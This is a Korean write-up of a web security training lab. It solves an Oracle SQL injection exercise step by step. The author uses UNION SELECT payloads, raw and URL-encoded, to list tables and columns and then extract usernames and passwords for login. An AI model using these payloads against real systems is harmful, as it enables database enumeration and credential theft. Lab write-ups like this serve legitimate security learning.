SQL injection attack, listing the database contents on Oracle

 
만약 사이트가 이전 문제들과 동일한 구성이라면, 필터 로직을 통해 테이블 정보를 뽑을 수 있을 것이다.
' UNION SELECT table_name, owner FROM all_tables --
/filter?category='%20UNION%20SELECT%20table_name%2c%20owner%20FROM%20all_tables%20--%20
이후 SYS 유저와 상관 없는 테이블 중 아래와 같은 테이블이 눈에 들어왔다.
notion imagenotion image
USERS_YYIWPJ 테이블을 조회해 보자.
' UNION SELECT column_name, data_type FROM all_tab_columns WHERE table_name = 'USERS_YYIWPJ' --
/filter?category='%20UNION%20SELECT%20column_name%2c%20data_type%20FROM%20all_tab_columns%20WHERE%20table_name%20%3d%20'USERS_YYIWPJ'%20--%20
notion imagenotion image
그렇다면 순조롭게 PASSWORD_LLDVQVUSERNAME_PIIVJM 컬럼을 얻어보자.
' UNION SELECT USERNAME_PIIVJM, PASSWORD_LLDVQV FROM USERS_YYIWPJ --
/filter?category='%20UNION%20SELECT%20USERNAME_PIIVJM%2c%20PASSWORD_LLDVQV%20FROM%20USERS_YYIWPJ%20--
notion imagenotion image
이제 당당히 로그인을 수행하자.
notion imagenotion image
UNION을 이용한 쿼리로 사이트에 정보를 렌더링할 때는 컬럼의 개수를 맞춰야 함에 유의하며 문제를 풀자. 자세한 정보는 이 링크에 있다. 위의 풀이를 자세히 본다면 두 개의 컬럼씩만 조회함을 볼 수 있다.
table_name, owner
column_name, data_type
USERNAME_PIIVJM, PASSWORD_LLDVQV
이는 사이트의 구조에 따라 다를 수 있지만, 동일한 사이트를 대상으로 한 연속된 문제였기 때문에 컬럼 개수가 같을 것이라고 가정하고 풀이를 진행했다.